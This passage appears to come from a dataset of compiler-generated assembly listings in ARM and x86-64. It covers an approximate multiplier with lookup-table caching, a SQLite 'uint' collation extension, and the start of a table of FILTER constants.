mov r1, #0
lsl r1, r3, #7
orr r1, r1, r2, lsr #25
lsl r0, r2, #7
mov r2, #255
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3020]
and r3, r1, r3
str r3, [fp, #-3016]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3020]
ldr r1, [fp, #-3016]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #4
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #292
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #8
orr r1, r1, r2, lsr #24
lsl r0, r2, #8
mov r2, #256
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3028]
and r3, r1, r3
str r3, [fp, #-3024]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3028]
ldr r1, [fp, #-3024]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #12
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #252
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #9
orr r1, r1, r2, lsr #23
lsl r0, r2, #9
mov r2, #512
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3036]
and r3, r1, r3
str r3, [fp, #-3032]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3036]
ldr r1, [fp, #-3032]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #20
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #212
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #10
orr r1, r1, r2, lsr #22
lsl r0, r2, #10
mov r2, #1024
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3044]
and r3, r1, r3
str r3, [fp, #-3040]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3044]
ldr r1, [fp, #-3040]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #28
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #172
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #11
orr r1, r1, r2, lsr #21
lsl r0, r2, #11
mov r2, #2048
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3052]
and r3, r1, r3
str r3, [fp, #-3048]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3052]
ldr r1, [fp, #-3048]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #36
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #132
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #12
orr r1, r1, r2, lsr #20
lsl r0, r2, #12
mov r2, #4096
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3060]
and r3, r1, r3
str r3, [fp, #-3056]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3060]
ldr r1, [fp, #-3056]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #44
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #92
ldmia r3, {r2-r3}
mov r0, #0
mov r1, #0
lsl r1, r3, #13
orr r1, r1, r2, lsr #19
lsl r0, r2, #13
mov r2, #8192
mov r3, #0
and ip, r0, r2
str ip, [fp, #-3068]
and r3, r1, r3
str r3, [fp, #-3064]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3068]
ldr r1, [fp, #-3064]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #52
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r1, fp, #52
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
lsl r3, r1, #14
orr r3, r3, r0, lsr #18
lsl r2, r0, #14
mov r0, #16384
mov r1, #0
and ip, r2, r0
str ip, [fp, #-3076]
and r3, r3, r1
str r3, [fp, #-3072]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3076]
ldr r1, [fp, #-3072]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5568
sub lr, lr, #60
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5568
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #5568
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r1, fp, #44
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
lsl r3, r1, #15
orr r3, r3, r0, lsr #17
lsl r2, r0, #15
ldr r0, .L5
mov r1, #0
and ip, r2, r0
str ip, [fp, #-3084]
and r3, r3, r1
str r3, [fp, #-3080]
sub r3, fp, #36
ldmia r3, {r2-r3}
ldr r0, [fp, #-3084]
ldr r1, [fp, #-3080]
mov ip, r0
orr ip, r2, ip
sub lr, fp, #5632
sub lr, lr, #4
str ip, [lr]
orr r3, r3, r1
sub r2, fp, #5632
str r3, [r2]
sub r3, fp, #5632
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-36]
str r4, [fp, #-32]
sub r3, fp, #36
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L6:
.align 2
.L5:
.word 65535
.size mult8_cgp14ep_ep64716_wc9_2_csamrca, .-mult8_cgp14ep_ep64716_wc9_2_csamrca
.align 2
.global mul16u_52B
.syntax unified
.arm
.fpu softvfp
.type mul16u_52B, %function
mul16u_52B:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
mov r3, r0
mov r2, r1
strh r3, [fp, #-30] @ movhi
mov r3, r2 @ movhi
strh r3, [fp, #-32] @ movhi
ldr r3, .L21
ldr r3, [r3]
cmp r3, #0
beq .L8
ldr r3, .L21+4
ldr r3, [r3]
cmp r3, #0
beq .L8
ldr r3, .L21+8
ldr r3, [r3]
cmp r3, #0
beq .L8
ldr r3, .L21+12
ldr r3, [r3]
cmp r3, #0
bne .L9
.L8:
mov r3, #1
b .L10
.L9:
mov r3, #0
.L10:
str r3, [fp, #-20]
ldr r3, .L21
ldr r3, [r3]
cmp r3, #0
bne .L11
mov r0, #131072
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L21
str r2, [r3]
.L11:
ldr r3, .L21+4
ldr r3, [r3]
cmp r3, #0
bne .L12
mov r0, #131072
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L21+4
str r2, [r3]
.L12:
ldr r3, .L21+8
ldr r3, [r3]
cmp r3, #0
bne .L13
mov r0, #131072
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L21+8
str r2, [r3]
.L13:
ldr r3, .L21+12
ldr r3, [r3]
cmp r3, #0
bne .L14
mov r0, #131072
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L21+12
str r2, [r3]
.L14:
ldr r3, [fp, #-20]
cmp r3, #0
beq .L15
mov r3, #0
str r3, [fp, #-28]
b .L16
.L19:
mov r3, #0
str r3, [fp, #-24]
b .L17
.L18:
ldr r3, [fp, #-28]
mov r0, r3
asr r1, r0, #31
ldr r3, [fp, #-24]
mov r2, r3
asr r3, r2, #31
bl mult8_cgp14ep_ep64716_wc9_2_csamrca
mov r2, r0
mov r3, r1
ldr r1, .L21
ldr r0, [r1]
ldr r1, [fp, #-28]
lsl ip, r1, #8
ldr r1, [fp, #-24]
add r1, ip, r1
lsl r1, r1, #1
add r1, r0, r1
lsl r3, r2, #16
lsr r3, r3, #16
strh r3, [r1] @ movhi
ldr r3, [fp, #-28]
and r0, r3, #255
ldr r3, [fp, #-24]
and ip, r3, #255
ldr r3, .L21+4
ldr r2, [r3]
ldr r3, [fp, #-28]
lsl r1, r3, #8
ldr r3, [fp, #-24]
add r3, r1, r3
lsl r3, r3, #1
add r4, r2, r3
mov r1, ip
bl mul8_364
mov r3, r0
strh r3, [r4] @ movhi
ldr r3, [fp, #-28]
and r0, r3, #255
ldr r3, [fp, #-24]
and ip, r3, #255
ldr r3, .L21+8
ldr r2, [r3]
ldr r3, [fp, #-28]
lsl r1, r3, #8
ldr r3, [fp, #-24]
add r3, r1, r3
lsl r3, r3, #1
add r4, r2, r3
mov r1, ip
bl mul8_364
mov r3, r0
strh r3, [r4] @ movhi
ldr r3, [fp, #-28]
and r0, r3, #255
ldr r3, [fp, #-24]
and ip, r3, #255
ldr r3, .L21+12
ldr r2, [r3]
ldr r3, [fp, #-28]
lsl r1, r3, #8
ldr r3, [fp, #-24]
add r3, r1, r3
lsl r3, r3, #1
add r4, r2, r3
mov r1, ip
bl mul8_364
mov r3, r0
strh r3, [r4] @ movhi
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L17:
ldr r3, [fp, #-24]
cmp r3, #255
ble .L18
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L16:
ldr r3, [fp, #-28]
cmp r3, #255
ble .L19
.L15:
mov r3, #0
str r3, [fp, #-16]
ldr r3, .L21
ldr r2, [r3]
ldrh r3, [fp, #-30]
and r3, r3, #255
lsl r1, r3, #8
ldrh r3, [fp, #-32]
and r3, r3, #255
add r3, r1, r3
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-16]
add r3, r3, r2
str r3, [fp, #-16]
ldr r3, .L21+4
ldr r2, [r3]
ldrh r3, [fp, #-30]
and r3, r3, #255
lsl r1, r3, #8
ldrh r3, [fp, #-32]
lsr r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #255
add r3, r1, r3
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
lsl r3, r3, #8
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-16]
ldr r3, .L21+8
ldr r2, [r3]
ldrh r3, [fp, #-30]
lsr r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #255
lsl r1, r3, #8
ldrh r3, [fp, #-32]
and r3, r3, #255
add r3, r1, r3
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
lsl r3, r3, #8
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-16]
ldr r3, .L21+12
ldr r2, [r3]
ldrh r3, [fp, #-30]
lsr r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #255
lsl r1, r3, #8
ldrh r3, [fp, #-32]
lsr r3, r3, #8
lsl r3, r3, #16
lsr r3, r3, #16
and r3, r3, #255
add r3, r1, r3
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
lsl r3, r3, #16
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L22:
.align 2
.L21:
.word cacheLL.5315
.word cacheLH.5316
.word cacheHL.5317
.word cacheHH.5318
.size mul16u_52B, .-mul16u_52B
.local cacheLL.5315
.comm cacheLL.5315,4,4
.local cacheLH.5316
.comm cacheLH.5316,4,4
.local cacheHL.5317
.comm cacheHL.5317,4,4
.local cacheHH.5318
.comm cacheHH.5318,4,4
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "859599.c"
.intel_syntax noprefix
.text
.globl sqlite3_api
.bss
.align 8
.type sqlite3_api, @object
.size sqlite3_api, 8
sqlite3_api:
.zero 8
.text
.type uintCollFunc, @function
uintCollFunc:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov QWORD PTR -40[rbp], rdi
mov DWORD PTR -44[rbp], esi
mov QWORD PTR -56[rbp], rdx
mov DWORD PTR -48[rbp], ecx
mov QWORD PTR -64[rbp], r8
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -32[rbp], 0
mov DWORD PTR -28[rbp], 0
jmp .L2
.L20:
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
movzx eax, al
mov edx, DWORD PTR -28[rbp]
movsx rcx, edx
mov rdx, QWORD PTR -8[rbp]
add rdx, rcx
movzx edx, BYTE PTR [rdx]
movzx edx, dl
sub eax, edx
mov DWORD PTR -20[rbp], eax
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
movsx rcx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
je .L3
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
movsx rcx, eax
mov rax, QWORD PTR -8[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
jne .L6
mov eax, DWORD PTR -20[rbp]
jmp .L5
.L8:
add DWORD PTR -32[rbp], 1
.L6:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -44[rbp]
jge .L9
mov eax, DWORD PTR -32[rbp]
movsx rdx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 48
je .L8
jmp .L9
.L11:
add DWORD PTR -28[rbp], 1
.L9:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -48[rbp]
jge .L10
mov eax, DWORD PTR -28[rbp]
movsx rdx, eax
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 48
je .L11
.L10:
mov DWORD PTR -24[rbp], 0
jmp .L12
.L14:
add DWORD PTR -24[rbp], 1
.L12:
mov edx, DWORD PTR -32[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, edx
cmp DWORD PTR -44[rbp], eax
jle .L13
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov ecx, DWORD PTR -32[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, ecx
movsx rcx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
je .L13
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, edx
cmp DWORD PTR -48[rbp], eax
jle .L13
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov ecx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, ecx
movsx rcx, eax
mov rax, QWORD PTR -8[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
jne .L14
.L13:
mov edx, DWORD PTR -32[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, edx
cmp DWORD PTR -44[rbp], eax
jle .L15
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov ecx, DWORD PTR -32[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, ecx
movsx rcx, eax
mov rax, QWORD PTR -16[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
je .L15
mov eax, 1
jmp .L5
.L15:
mov edx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, edx
cmp DWORD PTR -48[rbp], eax
jle .L16
call __ctype_b_loc@PLT
mov rdx, QWORD PTR [rax]
mov ecx, DWORD PTR -28[rbp]
mov eax, DWORD PTR -24[rbp]
add eax, ecx
movsx rcx, eax
mov rax, QWORD PTR -8[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
movzx eax, al
add rax, rax
add rax, rdx
movzx eax, WORD PTR [rax]
movzx eax, ax
and eax, 2048
test eax, eax
je .L16
mov eax, -1
jmp .L5
.L16:
mov eax, DWORD PTR -24[rbp]
cdqe
mov edx, DWORD PTR -28[rbp]
movsx rcx, edx
mov rdx, QWORD PTR -8[rbp]
lea rsi, [rcx+rdx]
mov edx, DWORD PTR -32[rbp]
movsx rcx, edx
mov rdx, QWORD PTR -16[rbp]
add rcx, rdx
mov rdx, rax
mov rdi, rcx
call memcmp@PLT
mov DWORD PTR -20[rbp], eax
cmp DWORD PTR -20[rbp], 0
je .L17
mov eax, DWORD PTR -20[rbp]
jmp .L5
.L17:
mov eax, DWORD PTR -24[rbp]
add DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -24[rbp]
add DWORD PTR -28[rbp], eax
jmp .L2
.L3:
cmp DWORD PTR -20[rbp], 0
je .L18
mov eax, DWORD PTR -20[rbp]
jmp .L5
.L18:
add DWORD PTR -32[rbp], 1
add DWORD PTR -28[rbp], 1
.L2:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -44[rbp]
jge .L19
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -48[rbp]
jl .L20
.L19:
mov eax, DWORD PTR -44[rbp]
sub eax, DWORD PTR -32[rbp]
mov edx, eax
mov eax, DWORD PTR -48[rbp]
sub eax, DWORD PTR -28[rbp]
mov ecx, eax
mov eax, edx
sub eax, ecx
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size uintCollFunc, .-uintCollFunc
.section .rodata
.LC0:
.string "uint"
.text
.globl sqlite3_uint_init
.type sqlite3_uint_init, @function
sqlite3_uint_init:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR sqlite3_api[rip], rax
mov rax, QWORD PTR sqlite3_api[rip]
mov r9, QWORD PTR 344[rax]
mov rax, QWORD PTR -8[rbp]
lea r8, uintCollFunc[rip]
mov ecx, 0
mov edx, 1
lea rsi, .LC0[rip]
mov rdi, rax
call r9
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size sqlite3_uint_init, .-sqlite3_uint_init
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "859599.c"
.text
.global sqlite3_api
.bss
.align 2
.type sqlite3_api, %object
.size sqlite3_api, 4
sqlite3_api:
.space 4
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type uintCollFunc, %function
uintCollFunc:
@ args = 4, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #-40]
str r3, [fp, #-16]
ldr r3, [fp, #4]
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-24]
b .L2
.L20:
ldr r3, [fp, #-28]
ldr r2, [fp, #-16]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r3, [fp, #-24]
ldr r2, [fp, #-12]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r1, r3
str r3, [fp, #-8]
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r3, [fp, #-28]
ldr r1, [fp, #-16]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
beq .L3
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r3, [fp, #-24]
ldr r1, [fp, #-12]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
bne .L6
ldr r3, [fp, #-8]
b .L5
.L8:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L6:
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
cmp r2, r3
bge .L9
ldr r3, [fp, #-28]
ldr r2, [fp, #-16]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #48
beq .L8
b .L9
.L11:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L9:
ldr r2, [fp, #-24]
ldr r3, [fp, #-44]
cmp r2, r3
bge .L10
ldr r3, [fp, #-24]
ldr r2, [fp, #-12]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #48
beq .L11
.L10:
mov r3, #0
str r3, [fp, #-20]
b .L12
.L14:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L12:
ldr r2, [fp, #-28]
ldr r3, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-36]
cmp r2, r3
ble .L13
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r1, [fp, #-28]
ldr r3, [fp, #-20]
add r3, r1, r3
mov r1, r3
ldr r3, [fp, #-16]
add r3, r3, r1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
beq .L13
ldr r2, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-44]
cmp r2, r3
ble .L13
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r1, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r1, r3
mov r1, r3
ldr r3, [fp, #-12]
add r3, r3, r1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
bne .L14
.L13:
ldr r2, [fp, #-28]
ldr r3, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-36]
cmp r2, r3
ble .L15
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r1, [fp, #-28]
ldr r3, [fp, #-20]
add r3, r1, r3
mov r1, r3
ldr r3, [fp, #-16]
add r3, r3, r1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
beq .L15
mov r3, #1
b .L5
.L15:
ldr r2, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-44]
cmp r2, r3
ble .L16
bl __ctype_b_loc
mov r3, r0
ldr r2, [r3]
ldr r1, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r1, r3
mov r1, r3
ldr r3, [fp, #-12]
add r3, r3, r1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
and r3, r3, #2048
cmp r3, #0
beq .L16
mvn r3, #0
b .L5
.L16:
ldr r3, [fp, #-28]
ldr r2, [fp, #-16]
add r0, r2, r3
ldr r3, [fp, #-24]
ldr r2, [fp, #-12]
add r3, r2, r3
ldr r2, [fp, #-20]
mov r1, r3
bl memcmp
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L17
ldr r3, [fp, #-8]
b .L5
.L17:
ldr r2, [fp, #-28]
ldr r3, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-28]
ldr r2, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-24]
b .L2
.L3:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L18
ldr r3, [fp, #-8]
b .L5
.L18:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L2:
ldr r2, [fp, #-28]
ldr r3, [fp, #-36]
cmp r2, r3
bge .L19
ldr r2, [fp, #-24]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L20
.L19:
ldr r2, [fp, #-36]
ldr r3, [fp, #-28]
sub r2, r2, r3
ldr r1, [fp, #-44]
ldr r3, [fp, #-24]
sub r3, r1, r3
sub r3, r2, r3
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size uintCollFunc, .-uintCollFunc
.section .rodata
.align 2
.LC0:
.ascii "uint\000"
.text
.align 2
.global sqlite3_uint_init
.syntax unified
.arm
.fpu softvfp
.type sqlite3_uint_init, %function
sqlite3_uint_init:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r2, .L23
ldr r3, [fp, #-24]
str r3, [r2]
ldr r3, .L23
ldr r3, [r3]
ldr r4, [r3, #172]
ldr r3, .L23+4
str r3, [sp]
mov r3, #0
mov r2, #1
ldr r1, .L23+8
ldr r0, [fp, #-16]
blx r4
mov r3, r0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L24:
.align 2
.L23:
.word sqlite3_api
.word uintCollFunc
.word .LC0
.size sqlite3_uint_init, .-sqlite3_uint_init
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "996464.c"
.intel_syntax noprefix
.text
.section .rodata
.align 4
.type FILTER0, @object
.size FILTER0, 4
FILTER0:
.long 2145451008
.align 4
.type FILTER1, @object
.size FILTER1, 4
FILTER1:
.long 2145386496
.align 4
.type FILTER2, @object
.size FILTER2, 4
FILTER2:
.long 2132803584
.align 4
.type FILTER3, @object
.size FILTER3, 4
FILTER3:
.long 2130706432
.align 4
.type FILTER4, @object
.size FILTER4, 4
FILTER4:
.long -1627389952
.align 4
.type FILTER5, @object
.size FILTER5, 4
FILTER5:
.long 2139095040
.align 4
.type FILTER6, @object
.size FILTER6, 4
FILTER6:
.long 2145452000
.align 4
.type FILTER7, @object
.size FILTER7, 4
FILTER7:
.long -1077936128
.align 4
.type FILTER8, @object
.size FILTER8, 4
FILTER8:
.long -1076884480
.align 4
.type FILTER9, @object
.size FILTER9, 4
FILTER9:
.long -67108864
.align 4
.type FILTERA, @object
.size FILTERA, 4
FILTERA:
.long -993
.align 4
.type FILTERB, @object
.size FILTERB, 4
FILTERB:
.long -14680064
.align 4
.type FILTERC, @object
.size FILTERC, 4
FILTERC:
.long 2145386527
.align 4
.type FILTERD, @object
.size FILTERD, 4
FILTERD:
.long 2130706463
.align 4
.type FILTERE, @object
.size FILTERE, 4
FILTERE:
.long 2132803615
.align 4
.type FILTERF, @object
.size FILTERF, 4
FILTERF:
.long -16777200
.align 4
.type FILTER10, @object
.size FILTER10, 4
FILTER10:
.long 2139126784
.align 4
.type FILTER11, @object
.size FILTER11, 4
FILTER11:
.long 2143289344
.align 4
.type FILTER12, @object
.size FILTER12, 4
FILTER12:
.long 1069547520
.align 4
.type FILTER13, @object
.size FILTER13, 4
FILTER13:
.long -1075835904
.align 4
.type FILTER14, @object
.size FILTER14, 4
FILTER14:
.long 1071647744
.align 4
.type FILTER15, @object
.size FILTER15, 4
FILTER15:
.long 1063259136
.align 4
.type FILTER16, @object
.size FILTER16, 4
FILTER16:
.long -2094080
.align 4
.type FILTER17, @object
.size FILTER17, 4
